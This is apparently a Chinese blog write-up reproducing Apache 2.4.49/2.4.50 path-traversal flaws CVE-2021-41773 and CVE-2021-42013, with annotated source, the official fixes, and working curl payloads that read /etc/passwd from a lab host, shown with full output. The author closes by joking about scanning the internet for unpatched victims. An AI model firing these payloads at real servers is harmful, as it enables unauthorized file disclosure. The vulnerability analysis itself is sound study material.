CVE-2021-41773 && CVE-2021-42013拆解复现
CVE-2021-41773 && CVE-2021-42013
参考了这个师傅的WP https://www.jianshu.com/p/3076d9ec68cf
CVE-2021-41773
漏洞成因
Apache HTTP Server 2.4.49版本使用的ap_normalize_path函数在对路径做过滤的时候没有过滤干净。
ap_normalize_path函数如下
/*
* Inspired by mod_jk's jk_servlet_normalize().
*/
AP_DECLARE(int) ap_normalize_path(char *path, unsigned int flags)
{
int ret = 1;
apr_size_t l = 1, w = 1;
if (!IS_SLASH(path[0])) {
/* Besides "OPTIONS *", a request-target should start with '/'
* per RFC 7230 section 5.3, so anything else is invalid.
*/
if (path[0] == '*' && path[1] == '\0') {
return 1;
}
/* However, AP_NORMALIZE_ALLOW_RELATIVE can be used to bypass
* this restriction (e.g. for subrequest file lookups).
*/
if (!(flags & AP_NORMALIZE_ALLOW_RELATIVE) || path[0] == '\0') {
return 0;
}
l = w = 0;
}
// 遍历路径字符串,一边做url解码一边检测 '..',出现漏洞。
while (path[l] != '\0') {
/* RFC-3986 section 2.3:
* For consistency, percent-encoded octets in the ranges of
* ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D),
* period (%2E), underscore (%5F), or tilde (%7E) should [...]
* be decoded to their corresponding unreserved characters by
* URI normalizers.
*/
// 这一段是在做URL解码
// 检测到当前位为‘%’,接下来两位为十六进制数字就进入if
if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
&& path[l] == '%' && apr_isxdigit(path[l + 1])
&& apr_isxdigit(path[l + 2])) {
const char c = x2c(&path[l + 1]); // 将url编码转换为字符(16进制转char)
if (apr_isalnum(c) || (c && strchr("-._~", c))) {
/* Replace last char and fall through as the current
* read position */
l += 2;
path[l] = c;
}
}
if ((flags & AP_NORMALIZE_DROP_PARAMETERS) && path[l] == ';') {
do {
l++;
} while (!IS_SLASH_OR_NUL(path[l]));
continue;
}
// 如果path[0]不是斜杠,且不是* 或者空串,w就会置为0。
// 如果w = 0 或者 paht[0]是斜杠,就进入循环。
if (w == 0 || IS_SLASH(path[w - 1])) {
/* Collapse ///// sequences to / */
//跳过连续的斜杠
if ((flags & AP_NORMALIZE_MERGE_SLASHES) && IS_SLASH(path[l])) {
do {
l++;
} while (IS_SLASH(path[l]));
continue;
}
//如果检测到点号
if (path[l] == '.') {
/* Remove /./ segments */
if (IS_SLASH_OR_NUL(path[l + 1])) {
l++;
if (path[l]) {
l++;
}
continue;
}
/* Remove /xx/../ segments */
// 如果点号的下一个还是点号,就要删一点了
if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
/* Wind w back to remove the previous segment */
if (w > 1) {
do {
w--;
} while (w && !IS_SLASH(path[w - 1]));
}
else {
/* Already at root, ignore and return a failure
* if asked to.
*/
if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
ret = 0;
}
}
/* Move l forward to the next segment */
l += 2;
if (path[l]) {
l++;
}
continue;
}
}
}
path[w++] = path[l++];
}
path[w] = '\0';
return ret;
}
可以看到,漏洞的产生原因是其遍历一整个路径字符串,对每一位,先进行url解码,然后检测是不是当前位和下一位的组合是不是两个点..
他能检测出的情况如下
..
%2e. // 正在处理第一位,解码后发现是..组合
然而如果遇到这种情况
.%2e // 解码第一位,仍然是.%2e,没有检测到..组合
%2e%2e // 解码第一位,解成.%2e,仍然无法检测到..组合
payload
curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
// 这里可以使用.%2e也可以使用%2e%2e
C:\Users\19300>curl -v --path-as-is http://10.10.10.131:8080/icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd * Trying 10.10.10.131:8080... * Connected to 10.10.10.131 (10.10.10.131) port 8080 (#0) > GET /icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1 > Host: 10.10.10.131:8080 > User-Agent: curl/7.79.1 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Thu, 17 Mar 2022 01:56:25 GMT < Server: Apache/2.4.49 (Debian) < Last-Modified: Mon, 28 Feb 2022 00:00:00 GMT < ETag: "39a-5d908bac52000" < Accept-Ranges: bytes < Content-Length: 922 < root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin * Connection #0 to host 10.10.10.131 left intact C:\Users\19300>
修复
这里如果遍历两次字符串,先整体url解码,全部解码完了再进行敏感字符串检测就可以规避这个漏洞。这里原函数为了追求效率,在一遍遍历中对每个字符串解码再检测,反而出现了漏洞,可谓是得不偿失。
官方修复如下,直接是对这个情况做了一个特例处理。。俺没有开发经验,不敢乱说。
/* Remove /xx/../ segments (or /xx/.%2e/ when
* AP_NORMALIZE_DECODE_UNRESERVED is set since we
* decoded only the first dot above).
*/
n = l + 1;
if ((path[n] == '.' || (decode_unreserved
&& path[n] == '%'
&& path[++n] == '2'
&& (path[++n] == 'e'
|| path[n] == 'E')))
&& IS_SLASH_OR_NUL(path[n + 1])) {
/* Wind w back to remove the previous segment */
if (w > 1) {
do {
w--;
} while (w && !IS_SLASH(path[w - 1]));
}
else {
/* Already at root, ignore and return a failure
* if asked to.
*/
if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
ret = 0;
}
}
/* Move l forward to the next segment */
l = n + 1;
if (path[l]) {
l++;
}
continue;
}
CVE-2021-42013
Apache使用函数 ap_process_request_internal来处理外部请求
AP_DECLARE(int) ap_process_request_internal(request_rec *r)
{
.....
//调用 ap_normalize_path ,先对字符串进行解码。
if (r->parsed_uri.path) {
/* Normalize: remove /./ and shrink /../ segments, plus
* decode unreserved chars (first time only to avoid
* double decoding after ap_unescape_url() below).
*/
if (!ap_normalize_path(r->parsed_uri.path,
normalize_flags |
AP_NORMALIZE_DECODE_UNRESERVED)) {
ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10244)
"invalid URI path (%s)", r->unparsed_uri);
return HTTP_BAD_REQUEST;
}
}
.....
// 再调用 ap_unescape_url,对字符串解码过滤。
/* Ignore URL unescaping for translated URIs already */
if (access_status != DONE && r->parsed_uri.path) {
core_dir_config *d = ap_get_core_module_config(r->per_dir_config);
if (d->allow_encoded_slashes) {
access_status = ap_unescape_url_keep2f(r->parsed_uri.path,
d->decode_encoded_slashes);
}
else {
access_status = ap_unescape_url(r->parsed_uri.path);
}
if (access_status) {
if (access_status == HTTP_NOT_FOUND) {
if (! d->allow_encoded_slashes) {
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(00026)
"found %%2f (encoded '/') in URI path (%s), "
"returning 404", r->unparsed_uri);
}
}
return access_status;
}
.....
}
.....
开发为了保险起见,反复解码过滤,但是这反而弄巧成拙,造成二次编码注入。
%32e --> %2e --> .
%32 = 2
%2e = .
Payload
curl -v --path-as-is http://your-ip:8080/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd
C:\Users\19300>curl -v --path-as-is http://10.10.10.131:8080/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd
* Trying 10.10.10.131:8080...
* Connected to 10.10.10.131 (10.10.10.131) port 8080 (#0)
> GET /icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd HTTP/1.1
> Host: 10.10.10.131:8080
> User-Agent: curl/7.79.1
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 17 Mar 2022 05:09:50 GMT
< Server: Apache/2.4.49 (Debian)
< Last-Modified: Mon, 28 Feb 2022 00:00:00 GMT
< ETag: "39a-5d908bac52000"
< Accept-Ranges: bytes
< Content-Length: 922
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
* Connection #0 to host 10.10.10.131 left intact
修复
2.4.51版本中采用了白名单的机制,在ap_normalize_path中加强了对url编码的校验,只允许数字、字母及特定的符号编码,如果是白名单以外的url编码,就直接报错,不继续搞了
while (path[l] != '\0') {
/* RFC-3986 section 2.3:
* For consistency, percent-encoded octets in the ranges of
* ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D),
* period (%2E), underscore (%5F), or tilde (%7E) should [...]
* be decoded to their corresponding unreserved characters by
* URI normalizers.
*/
//就只允许上面注释写到的内容,如果存在这以外的内容,就直接报错。
if (decode_unreserved && path[l] == '%') {
if (apr_isxdigit(path[l + 1]) && apr_isxdigit(path[l + 2])) {
const char c = x2c(&path[l + 1]);
if (TEST_CHAR(c, T_URI_UNRESERVED)) {
/* Replace last char and fall through as the current
* read position */
l += 2;
path[l] = c;
}
}
else {
/* Invalid encoding */
ret = 0;
}
}
心得
这是我第一次复现CVE漏洞,对我还是有一些难度的,但后来查了下,发现有别人复现拆解过的文章,学习了他们的文章,我分析起来难度大大减小了,感觉很不错,很有成就感。(准备网络测绘找几个倒霉蛋试试 :-)
CVE-2021-41773 && CVE-2021-42013拆解复现的更多相关文章
- CVE: 2014-6271、CVE: 2014-7169 Bash Specially-crafted Environment Variables Code Injection Vulnerability Analysis
目录 . 漏洞的起因 . 漏洞原理分析 . 漏洞的影响范围 . 漏洞的利用场景 . 漏洞的POC.测试方法 . 漏洞的修复Patch情况 . 如何避免此类漏洞继续出现 1. 漏洞的起因 为了理解这个漏 ...
- CVE: 2014-6271、CVE: 2014-7169 PATCH方案分析
目录 . RedHat官方给的PATCH第一套方案 . RedHat官方给的PATCH临时方案 . RedHat官方给的PATCH第二套方案 1. RedHat官方给的PATCH第一套方案 0x1: ...
- Nmap-脚本检测CVE漏洞
Nmap的一个鲜为人知的部分是NSE,即Nmap Scripting Engine,这是Nmap最强大和最灵活的功能之一.它允许用户编写(和共享)简单脚本,以自动执行各种网络任务.Nmap内置了全面的 ...
- 郑政 | 2021软件代码开发技术作业四 | 需求改进&系统设计
需求改进&系统设计 -------------------------------------------------------------------------------------- ...
- GitHub Universe 2021|MS Reactor 邀你共聚年度盛会
GitHub Universe 2021 将于2021年10月27-28日(PDT)在线直播,MS Reactor 将与 CSDN 合作进行转播,与你一同观看这场全球开发者盛会. 关于 GitHub ...
- CVE 公开披露的网络安全漏洞列表
CVE®是一份公开披露的网络安全漏洞列表, 官方地址为 : https://cve.mitre.org/cve/ 比如 mavenrepository 上阿里的Druid修复的漏洞的列表如下:
- 2021 CSP-J复赛 我的备战与游记
目录 备战 2021.10.18 2021.10.19 2021.10.20 2021.10.21 2021.10.22 比赛当日 早上 线下见面 正文 比赛后 赛后总结与讲解 简单总结 Candy ...
- 议题征集令 | Apache DolphinScheduler Meetup 2021 来啦,议题征集正式开启!
点击上方 蓝字关注我们 社区的小伙伴们,经过精心筹备,我们很高兴地宣布,Apache DolphinScheduler Meetup 2021 将于 2021 年 11 月 27 日到来! 在 Mee ...
- 发现CVE-2018-11512-wityCMS 0.6.1 持久型XSS
CMS(内容管理系统)很适合被用来做代码审计,尤其是现在CMS系统越来越流行,很多人愿意使用CMS搭建自己的项目.由于大部分CMS是一种开源项目,所以对于CMS的审计属于白盒测试,白盒测试让我们可以发 ...
- 刷题记录:[De1CTF 2019]SSRF Me
目录 刷题记录:[De1CTF 2019]SSRF Me 一.涉及知识点 1.MD5长度扩展攻击 2.Python 2.x - 2.7.16 urllib.fopen支持local_file导致LFI ...
随机推荐
- MySQL - [13] binlog、redolog、undolog、delaylog
题记部分 bin log redo log undo log 3.1.什么是undo log 事务是需要保证原子性的,也就是说,事务中的操作要么全部完成,要么什么也不做.但有如下情况,会造成事务执行不 ...
- CDH - [01] 概述
一.什么是CDH CDH是Cloudera's Distribution Including Apache Hadoop的缩写,即Cloudera公司发布的Hadoop发行版.它是一个为Hadoo ...
- 【忍者算法】从快慢指针到倒数查找:优雅解决链表倒数问题|LeetCode第19题"删除链表的倒数第N个结点"
从快慢指针到倒数查找:优雅解决链表倒数问题 从生活场景说起 想象你在一个漫长的队伍中,想知道自己距离队尾还有多少人.一个巧妙的方法是:让你的朋友从你所在位置往后数N步,然后你和朋友一起向后走.当朋友走 ...
- ARC165F题解
前言 \(2024.10.19\) 日校测 \(T4\),思维太庙,被薄纱了,遂哭弱,写题解以记之. 简要题意 给你一个长度为 \(2n\) 的序列满足 \(\forall a_i\in[1,n]\) ...
- 记线上+线下培训思想i技巧感悟
刚刚结束一场线下+线上培训 梳理一下,有几个问题: 1.虽然课件自己过了几遍,同时备注里写了一些提示 ,但是真正讲课的时候基本是没有过程特意去扫备注 注意备注应清晰,写核心关键字 2.分屏过程 需要在 ...
- 入口函数与包初始化:Go程序的执行次序
前言 我们可能经常会遇到这样一个问题:一个 Go 项目中有数十个 Go 包,每个包中又有若干常量.变量.各种函数和方法,那 Go 代码究竟是从哪里开始执行的呢?后续的执行顺序又是什么样的呢? 事实上, ...
- Open R1 项目进展第一期
DeepSeek R1 发布已经两周了,而我们启动 open-r1 项目--试图补齐它缺失的训练流程和合成数据--也才过了一周.这篇文章简单聊聊: Open-R1 在模仿 DeepSeek-R1 流程 ...
- 【SpringCloud】SpringCloud Alibaba入门简介
SpringCloud Alibaba入门简介 why会出现SpringCloud alibaba Spring Cloud Netflix项目进入到维护模式 SpringCloud Netflix ...
- 如何定位 Druid & HikariCP 连接池的连接泄漏问题?
背景 最近碰到一个 case,一个 Java 应用无法获取新的数据库连接,日志中出现了以下错误: com.alibaba.druid.pool.GetConnectionTimeoutExceptio ...
- json中用到的token
JSON Web Token (JWT)是一个开放标准(RFC 7519). 用于JSON对象在各个层之间安全地传输信息.该信息可以被验证和信任,通过数字签名. 应用场景: Authorizat ...